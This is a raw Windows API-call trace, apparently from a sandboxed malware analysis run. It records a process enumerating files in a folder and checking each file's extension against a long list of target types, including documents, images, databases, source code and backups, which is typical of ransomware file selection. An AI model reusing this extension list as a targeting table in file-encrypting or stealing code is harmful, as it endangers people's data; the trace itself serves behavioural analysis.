	[0062.371] lstrlenW (lpString=".php") returned 4
	[0062.371] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0062.371] lstrlenW (lpString=".php3") returned 5
	[0062.371] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0062.371] lstrlenW (lpString=".php4") returned 5
	[0062.371] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0062.371] lstrlenW (lpString=".php5") returned 5
	[0062.371] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0062.371] lstrlenW (lpString=".phtml") returned 6
	[0062.372] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0062.372] lstrlenW (lpString=".pict") returned 5
	[0062.372] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0062.372] lstrlenW (lpString=".pl") returned 3
	[0062.372] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0062.372] lstrlenW (lpString=".pls") returned 4
	[0062.372] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0062.372] lstrlenW (lpString=".pm") returned 3
	[0062.372] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0062.372] lstrlenW (lpString=".png") returned 4
	[0062.372] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0062.372] lstrlenW (lpString=".pnm") returned 4
	[0062.372] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0062.372] lstrlenW (lpString=".pot") returned 4
	[0062.372] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0062.372] lstrlenW (lpString=".potm") returned 5
	[0062.372] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0062.372] lstrlenW (lpString=".potx") returned 5
	[0062.372] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0062.372] lstrlenW (lpString=".ppa") returned 4
	[0062.372] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0062.372] lstrlenW (lpString=".ppam") returned 5
	[0062.372] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0062.372] lstrlenW (lpString=".ppm") returned 4
	[0062.372] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0062.372] lstrlenW (lpString=".pps") returned 4
	[0062.372] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0062.372] lstrlenW (lpString=".ppsm") returned 5
	[0062.372] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0062.372] lstrlenW (lpString=".ppt") returned 4
	[0062.372] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.372] lstrlenW (lpString=".pptm") returned 5
	[0062.372] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0062.372] lstrlenW (lpString=".pptx") returned 5
	[0062.372] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0062.372] lstrlenW (lpString=".prn") returned 4
	[0062.372] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0062.373] lstrlenW (lpString=".ps") returned 3
	[0062.373] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0062.373] lstrlenW (lpString=".psb") returned 4
	[0062.373] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0062.373] lstrlenW (lpString=".psd") returned 4
	[0062.373] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0062.373] lstrlenW (lpString=".pst") returned 4
	[0062.373] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0062.373] lstrlenW (lpString=".ptx") returned 4
	[0062.373] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0062.373] lstrlenW (lpString=".pub") returned 4
	[0062.373] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0062.373] lstrlenW (lpString=".pwm") returned 4
	[0062.373] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0062.373] lstrlenW (lpString=".pxr") returned 4
	[0062.373] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0062.373] lstrlenW (lpString=".py") returned 3
	[0062.373] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0062.373] lstrlenW (lpString=".qt") returned 3
	[0062.373] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0062.373] lstrlenW (lpString=".r3d") returned 4
	[0062.373] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0062.373] lstrlenW (lpString=".raf") returned 4
	[0062.373] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0062.373] lstrlenW (lpString=".rar") returned 4
	[0062.373] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.373] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.373] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.374] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.374] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0062.374] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.374] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1
	[0062.374] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.374] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032") returned 26
	[0062.374] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x812048
	[0062.451] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.451] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.451] lstrlenW (lpString="eula.rtf") returned 8
	[0062.451] lstrlenW (lpString=".1cd") returned 4
	[0062.451] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.451] lstrlenW (lpString=".3ds") returned 4
	[0062.451] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0062.451] lstrlenW (lpString=".3fr") returned 4
	[0062.451] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0062.451] lstrlenW (lpString=".3g2") returned 4
	[0062.451] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0062.451] lstrlenW (lpString=".3gp") returned 4
	[0062.451] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0062.451] lstrlenW (lpString=".7z") returned 3
	[0062.451] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.451] lstrlenW (lpString=".accda") returned 6
	[0062.451] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0062.451] lstrlenW (lpString=".accdb") returned 6
	[0062.451] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0062.451] lstrlenW (lpString=".accdc") returned 6
	[0062.451] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0062.452] lstrlenW (lpString=".accde") returned 6
	[0062.452] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0062.452] lstrlenW (lpString=".accdt") returned 6
	[0062.452] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0062.452] lstrlenW (lpString=".accdw") returned 6
	[0062.452] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0062.452] lstrlenW (lpString=".adb") returned 4
	[0062.452] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0062.452] lstrlenW (lpString=".adp") returned 4
	[0062.452] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0062.452] lstrlenW (lpString=".ai") returned 3
	[0062.452] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0062.452] lstrlenW (lpString=".ai3") returned 4
	[0062.452] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0062.452] lstrlenW (lpString=".ai4") returned 4
	[0062.452] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0062.452] lstrlenW (lpString=".ai5") returned 4
	[0062.452] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0062.452] lstrlenW (lpString=".ai6") returned 4
	[0062.452] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0062.452] lstrlenW (lpString=".ai7") returned 4
	[0062.452] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0062.452] lstrlenW (lpString=".ai8") returned 4
	[0062.452] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0062.452] lstrlenW (lpString=".anim") returned 5
	[0062.452] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0062.452] lstrlenW (lpString=".arw") returned 4
	[0062.452] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0062.452] lstrlenW (lpString=".as") returned 3
	[0062.452] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0062.452] lstrlenW (lpString=".asa") returned 4
	[0062.452] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0062.452] lstrlenW (lpString=".asc") returned 4
	[0062.452] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0062.452] lstrlenW (lpString=".ascx") returned 5
	[0062.452] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0062.452] lstrlenW (lpString=".asm") returned 4
	[0062.453] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0062.453] lstrlenW (lpString=".asmx") returned 5
	[0062.453] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0062.453] lstrlenW (lpString=".asp") returned 4
	[0062.453] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0062.453] lstrlenW (lpString=".aspx") returned 5
	[0062.453] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0062.453] lstrlenW (lpString=".asr") returned 4
	[0062.453] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0062.453] lstrlenW (lpString=".asx") returned 4
	[0062.453] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0062.453] lstrlenW (lpString=".avi") returned 4
	[0062.453] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0062.453] lstrlenW (lpString=".avs") returned 4
	[0062.453] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0062.453] lstrlenW (lpString=".backup") returned 7
	[0062.453] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0062.453] lstrlenW (lpString=".bak") returned 4
	[0062.453] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0062.453] lstrlenW (lpString=".bay") returned 4
	[0062.453] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0062.453] lstrlenW (lpString=".bd") returned 3
	[0062.453] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0062.453] lstrlenW (lpString=".bin") returned 4
	[0062.453] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0062.453] lstrlenW (lpString=".bmp") returned 4
	[0062.453] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0062.453] lstrlenW (lpString=".bz2") returned 4
	[0062.453] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.453] lstrlenW (lpString=".c") returned 2
	[0062.453] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0062.453] lstrlenW (lpString=".cdr") returned 4
	[0062.453] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0062.453] lstrlenW (lpString=".cer") returned 4
	[0062.453] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0062.453] lstrlenW (lpString=".cf") returned 3
	[0062.453] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0062.453] lstrlenW (lpString=".cfc") returned 4
	[0062.454] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0062.454] lstrlenW (lpString=".cfm") returned 4
	[0062.454] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0062.454] lstrlenW (lpString=".cfml") returned 5
	[0062.454] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0062.454] lstrlenW (lpString=".cfu") returned 4
	[0062.454] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0062.454] lstrlenW (lpString=".chm") returned 4
	[0062.454] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0062.454] lstrlenW (lpString=".cin") returned 4
	[0062.454] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0062.454] lstrlenW (lpString=".class") returned 6
	[0062.454] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0062.454] lstrlenW (lpString=".clx") returned 4
	[0062.454] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0062.454] lstrlenW (lpString=".config") returned 7
	[0062.454] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0062.454] lstrlenW (lpString=".cpp") returned 4
	[0062.454] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0062.454] lstrlenW (lpString=".cr2") returned 4
	[0062.454] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0062.454] lstrlenW (lpString=".crt") returned 4
	[0062.454] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0062.454] lstrlenW (lpString=".crw") returned 4
	[0062.454] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0062.454] lstrlenW (lpString=".cs") returned 3
	[0062.454] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0062.454] lstrlenW (lpString=".css") returned 4
	[0062.454] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0062.455] lstrlenW (lpString=".csv") returned 4
	[0062.455] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0062.455] lstrlenW (lpString=".cub") returned 4
	[0062.455] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0062.455] lstrlenW (lpString=".dae") returned 4
	[0062.455] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0062.455] lstrlenW (lpString=".dat") returned 4
	[0062.455] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0062.455] lstrlenW (lpString=".db") returned 3
	[0062.455] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0062.455] lstrlenW (lpString=".dbf") returned 4
	[0062.455] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.455] lstrlenW (lpString=".dbx") returned 4
	[0062.455] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0062.455] lstrlenW (lpString=".dc3") returned 4
	[0062.455] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0062.455] lstrlenW (lpString=".dcm") returned 4
	[0062.455] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0062.455] lstrlenW (lpString=".dcr") returned 4
	[0062.455] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0062.455] lstrlenW (lpString=".der") returned 4
	[0062.455] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0062.455] lstrlenW (lpString=".dib") returned 4
	[0062.455] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0062.455] lstrlenW (lpString=".dic") returned 4
	[0062.455] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0062.455] lstrlenW (lpString=".dif") returned 4
	[0062.455] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0062.455] lstrlenW (lpString=".divx") returned 5
	[0062.455] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0062.455] lstrlenW (lpString=".djvu") returned 5
	[0062.455] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0062.455] lstrlenW (lpString=".dng") returned 4
	[0062.455] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0062.455] lstrlenW (lpString=".doc") returned 4
	[0062.455] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.455] lstrlenW (lpString=".docm") returned 5
	[0062.456] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0062.456] lstrlenW (lpString=".docx") returned 5
	[0062.456] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.456] lstrlenW (lpString=".dot") returned 4
	[0062.456] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0062.456] lstrlenW (lpString=".dotm") returned 5
	[0062.456] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0062.456] lstrlenW (lpString=".dotx") returned 5
	[0062.456] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0062.456] lstrlenW (lpString=".dpx") returned 4
	[0062.456] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0062.456] lstrlenW (lpString=".dqy") returned 4
	[0062.456] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0062.456] lstrlenW (lpString=".dsn") returned 4
	[0062.456] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0062.456] lstrlenW (lpString=".dt") returned 3
	[0062.456] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0062.456] lstrlenW (lpString=".dtd") returned 4
	[0062.456] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0062.456] lstrlenW (lpString=".dwg") returned 4
	[0062.456] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0062.456] lstrlenW (lpString=".dwt") returned 4
	[0062.456] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0062.456] lstrlenW (lpString=".dx") returned 3
	[0062.456] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0062.456] lstrlenW (lpString=".dxf") returned 4
	[0062.456] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0062.456] lstrlenW (lpString=".edml") returned 5
	[0062.456] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0062.456] lstrlenW (lpString=".efd") returned 4
	[0062.456] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0062.456] lstrlenW (lpString=".elf") returned 4
	[0062.456] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0062.456] lstrlenW (lpString=".emf") returned 4
	[0062.456] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0062.456] lstrlenW (lpString=".emz") returned 4
	[0062.456] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0062.456] lstrlenW (lpString=".epf") returned 4
	[0062.457] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0062.457] lstrlenW (lpString=".eps") returned 4
	[0062.457] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0062.457] lstrlenW (lpString=".epsf") returned 5
	[0062.457] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0062.457] lstrlenW (lpString=".epsp") returned 5
	[0062.457] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0062.457] lstrlenW (lpString=".erf") returned 4
	[0062.457] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0062.457] lstrlenW (lpString=".exr") returned 4
	[0062.457] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0062.457] lstrlenW (lpString=".f4v") returned 4
	[0062.457] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0062.457] lstrlenW (lpString=".fido") returned 5
	[0062.457] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0062.457] lstrlenW (lpString=".flm") returned 4
	[0062.457] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0062.457] lstrlenW (lpString=".flv") returned 4
	[0062.457] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0062.457] lstrlenW (lpString=".frm") returned 4
	[0062.457] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0062.457] lstrlenW (lpString=".fxg") returned 4
	[0062.457] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0062.457] lstrlenW (lpString=".geo") returned 4
	[0062.457] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0062.457] lstrlenW (lpString=".gif") returned 4
	[0062.457] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0062.457] lstrlenW (lpString=".grs") returned 4
	[0062.457] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0062.457] lstrlenW (lpString=".gz") returned 3
	[0062.457] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0062.457] lstrlenW (lpString=".h") returned 2
	[0062.457] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0062.457] lstrlenW (lpString=".hdr") returned 4
	[0062.457] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0062.457] lstrlenW (lpString=".hpp") returned 4
	[0062.457] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0062.457] lstrlenW (lpString=".hta") returned 4
	[0062.458] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0062.458] lstrlenW (lpString=".htc") returned 4
	[0062.458] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0062.458] lstrlenW (lpString=".htm") returned 4
	[0062.458] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0062.458] lstrlenW (lpString=".html") returned 5
	[0062.458] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0062.458] lstrlenW (lpString=".icb") returned 4
	[0062.458] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0062.458] lstrlenW (lpString=".ics") returned 4
	[0062.458] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0062.458] lstrlenW (lpString=".iff") returned 4
	[0062.458] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0062.458] lstrlenW (lpString=".inc") returned 4
	[0062.458] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0062.458] lstrlenW (lpString=".indd") returned 5
	[0062.458] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0062.458] lstrlenW (lpString=".ini") returned 4
	[0062.458] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0062.458] lstrlenW (lpString=".iqy") returned 4
	[0062.458] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0062.458] lstrlenW (lpString=".j2c") returned 4
	[0062.458] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0062.458] lstrlenW (lpString=".j2k") returned 4
	[0062.458] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0062.458] lstrlenW (lpString=".java") returned 5
	[0062.458] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0062.458] lstrlenW (lpString=".jp2") returned 4
	[0062.458] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0062.458] lstrlenW (lpString=".jpc") returned 4
	[0062.458] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0062.458] lstrlenW (lpString=".jpe") returned 4
	[0062.458] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0062.458] lstrlenW (lpString=".jpeg") returned 5
	[0062.458] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0062.458] lstrlenW (lpString=".jpf") returned 4
	[0062.458] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0062.459] lstrlenW (lpString=".jpg") returned 4
	[0062.459] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.459] lstrlenW (lpString=".jpx") returned 4
	[0062.459] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0062.459] lstrlenW (lpString=".js") returned 3
	[0062.459] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0062.459] lstrlenW (lpString=".jsf") returned 4
	[0062.459] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0062.459] lstrlenW (lpString=".json") returned 5
	[0062.459] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0062.459] lstrlenW (lpString=".jsp") returned 4
	[0062.459] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0062.459] lstrlenW (lpString=".kdc") returned 4
	[0062.459] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0062.459] lstrlenW (lpString=".kmz") returned 4
	[0062.459] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0062.459] lstrlenW (lpString=".kwm") returned 4
	[0062.459] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0062.459] lstrlenW (lpString=".lasso") returned 6
	[0062.459] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0062.459] lstrlenW (lpString=".lbi") returned 4
	[0062.459] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0062.459] lstrlenW (lpString=".lgf") returned 4
	[0062.459] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
